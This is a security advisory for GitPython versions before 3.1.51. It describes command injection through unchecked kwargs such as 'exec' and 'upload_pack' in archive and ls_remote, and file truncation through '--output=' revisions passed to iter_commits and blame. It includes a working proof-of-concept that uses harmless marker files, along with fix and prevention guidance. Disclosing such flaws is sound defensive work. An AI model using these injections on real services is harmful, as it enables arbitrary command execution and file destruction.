GHSA-956x-8gvw-wg5v CVE-2026-67323 PYSEC-2026-3839
GitPython: command injection via unguarded Git options in `Repo.archive()`, `git.ls_remote()`, and arbitrary file overwrite via `Repo.iter_commits()` / `Repo.blame()`
- Severity
- 8.6 / 10
- High · CVSS 4.0
- Exploit chance (EPSS)
- 1.25%
- Chance of exploitation in the next 30 days. Higher than 69.42% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-77 Improper Neutralization of Special Elements used in a Command ('Command Injection')
- CWE-88 Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')
- Fix
3.1.51- Upgrade gitpython to this version or later
Description
Summary
GitPython already know that --upload-pack / --exec are command-exec vectors, they are denylist in git/remote.py:535 and check by Git.check_unsafe_options() (git/cmd.py:963), the thing is this check him he is only call from fetch, pull, push and clone_from, everything else who build a git argv from caller values just go through, no check, three examples
Code analysis
Repo.archive (git/repo/base.py:1623) do self.git.archive("--", treeish, *path, **kwargs), the treeish is after the --, but the kwargs get dashify by transform_kwarg (git/cmd.py:1487) and they land before it, so {"remote": ".", "exec": "<cmd>"} give git archive --remote=. --exec=<cmd> -- <rev>, the --remote spawn the upload-archive helper and --exec choose which binary that is, done, default git config, no protocol.ext.allow needed, and archive already document caller kwargs (format, prefix, path) so pass a dict is normal usage
repo.git.ls_remote(url, upload_pack="<cmd>"), same builder, same result, it's exactly the kwarg gap that CVE-2026-42215 close for fetch/pull/push/clone_from, except the dynamic repo.git.<anything>(**user_dict) surface him he never got the fix
Repo.iter_commits / Repo.blame (git/objects/commit.py:348, git/repo/base.py:1199) put the rev before the --, no leading-dash check, a "branch name" like --output=/etc/whatever become git rev-list --output=... --, and git he open and truncate that file before he even validate the revision, the file is gone even if the command error right after
PoC
Released 3.1.50, git 2.51.0, stock config (git config --get protocol.ext.allow returns nothing here).
pip install GitPython # 3.1.50
Common setup for the three:
import io, os, tempfile, subprocess, git
d = tempfile.mkdtemp()
subprocess.run(['git','init','-q',d], check=True)
subprocess.run(['git','-C',d,'-c','user.email=a@b.c','-c','user.name=a',
'commit','-q','--allow-empty','-m','init'], check=True)
repo = git.Repo(d)
tmp = tempfile.gettempdir()
- exec via archive (a service exports a repo and forwards the user's options dict):
m = os.path.join(tmp, 'gp_archive_check')
try: repo.archive(io.BytesIO(), **{'remote': '.', 'exec': 'touch ' + m})
except git.exc.GitCommandError as e: print('[*]', str(e).splitlines()[0][:55])
print('[+] marker present:', os.path.exists(m))
[*] Cmd('git') failed due to: exit code(128)
[+] marker present: True
- exec via ls_remote:
m = os.path.join(tmp, 'gp_lsremote_check')
try: repo.git.ls_remote('.', upload_pack='touch ' + m + ';')
except git.exc.GitCommandError as e: print('[*]', str(e).splitlines()[0][:55])
print('[+] marker present:', os.path.exists(m))
[*] Cmd('git') failed due to: exit code(128)
[+] marker present: True
- file clobber via a rev that looks like a ref:
v = os.path.join(tmp, 'release_notes.txt')
open(v,'w').write('do not delete\n')
print('[*] before:', repr(open(v).read()))
try: list(repo.iter_commits('--output=' + v))
except git.exc.GitCommandError as e: print('[*]', str(e).splitlines()[0][:55])
print('[+] after :', repr(open(v).read()), '<- truncated')
[*] before: 'do not delete\n'
[*] Cmd('git') failed due to: exit code(129)
[+] after : '' <- truncated
Affected versions
PyPI
| Package | Vulnerable | Fixed in |
|---|---|---|
| gitpython | < 3.1.51 |
3.1.51 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
gitpython PyPI → 3.1.51
- pip
pip install --upgrade "gitpython>=3.1.51"- poetry
poetry add "gitpython>=3.1.51"- uv
uv add "gitpython>=3.1.51"
Severity breakdown
CVSS 4.0 8.6
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
- Attack vector
- Local
- Attack complexity
- Low
- Attack requirements
- None
- Privileges required
- None
- User interaction
- None
- Confidentiality (vulnerable system)
- High
- Integrity (vulnerable system)
- High
- Availability (vulnerable system)
- High
- Confidentiality (subsequent systems)
- None
- Integrity (subsequent systems)
- None
- Availability (subsequent systems)
- None
- Exploit maturity
- Not defined
- Scope
- X
CVSS 3.1 8.4
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Attack vector
- Local
- Attack complexity
- Low
- Privileges required
- None
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Weakness
CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')
The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component.
How to prevent it
- Architecture and Design: If at all possible, use library calls rather than external processes to recreate the desired functionality.
- Implementation: If possible, ensure that all external commands called from the program are statically created.
- Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- Operation: Run time: Run time policy enforcement may be used in an allowlist fashion to prevent use of any non-sanctioned commands.
- System Configuration: Assign permissions that prevent the user from accessing/opening privileged files.
CWE-88: Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')
The product constructs a string for a command to be executed by a separate component in another control sphere, but it does not properly delimit the intended arguments, options, or switches within that command string.
How to prevent it
- Implementation: Where possible, avoid building a single string that contains the command and its arguments. Some languages or frameworks have functions that support specifying independent arguments, e.g. as an array, which is used to automatically perform the appropriate quoting or escaping while building the command. For example, in PHP, escapeshellarg() can be used to escape a single argument to system(), or exec() can be called with an array of arguments. In C, code can often be refactored from using system() - which accepts a single string - to using exec(), which requires separate function arguments for each parameter.
- Architecture and Design: Understand all the potential areas where untrusted inputs can enter your product: parameters or arguments, cookies, anything read from the network, environment variables, request headers as well as content, URL components, e-mail, files, databases, and any external systems that provide data to the application. Perform input validation at well-defined interfaces.
- Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- Implementation: Directly convert your input type into the expected data type, such as using a conversion function that translates a string into a number. After converting to the expected data type, ensure that the input's values fall within the expected range of allowable values and that multi-field consistencies are maintained.
- Implementation: Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180, CWE-181). Make sure that your application does not inadvertently decode the same input twice (CWE-174). Such errors could be used to bypass allowlist schemes by introducing dangerous inputs after they have been checked. Use libraries such as the OWASP ESAPI Canonicalization control. Consider performing repeated canonicalization until your input does not change any more. This will avoid double-decoding and similar scenarios, but it might inadvertently modify inputs that are allowed to contain properly-encoded dangerous content.
- Implementation: When exchanging data between components, ensure that both components are using the same character encoding. Ensure that the proper encoding is applied at each interface. Explicitly set the encoding you are using whenever the protocol allows you to do so.
- Implementation: When your application combines data from multiple sources, perform the validation after the sources have been combined. The individual data elements may pass the validation step but violate the intended restrictions after they have been combined.
- Testing: Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.
References
Advisories
Packages
Other links
- github.com/gitpython-developers/GitPython/security/advisories/GHSA-956x-8gvw-wg5v
- github.com/gitpython-developers/GitPython/pull/2163
- github.com/gitpython-developers/GitPython/commit/701ce32fe5ba8cb622c0e0342a376a…
- github.com/gitpython-developers/GitPython/releases/tag/3.1.51
- vulncheck.com/advisories/gitpython-before-command-injection-via-unguarded-git-options
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-83vg-56qc-22m7 GitPython validates a submodule's ".git" path only after cloning into it (RCE) | High | Also affects gitpython |
| GHSA-gq48-pqfc-9p58 GitPython: Submodule.move() follows an attacker-committed intermediate symlink outside the worktree | Medium | Also affects gitpython |
| GHSA-23mf-xhv8-69c2 GitPython: arbitrary file read via attacker-controlled branch name in `Head.checkout()` (incomplete fix of CVE-2026-78679) | High | Also affects gitpython |
| GHSA-f9j4-qggq-h239 GitPython Remote.pull() refspec bypasses the --upload-pack unsafe-option guard, enabling arbitrary command execution | Critical | Also affects gitpython |
| GHSA-w8jc-g24h-crhw GitPython command wrappers omit unsafe protocol and option checks | High | Also affects gitpython |
| GHSA-m64x-33q8-m5h7 GitPython parse_actor_and_date() is vulnerable to quadratic backtracking on malformed identity lines | High | Also affects gitpython |
| GHSA-fx3j-rwgx-fr94 GitPython: separate_git_dir leaks env vars via crafted .gitmodules submodule name | High | Also affects gitpython |
| GHSA-59cr-6r3x-644w GitPython submodule update path traversal can write outside the repository | Medium | Also affects gitpython |
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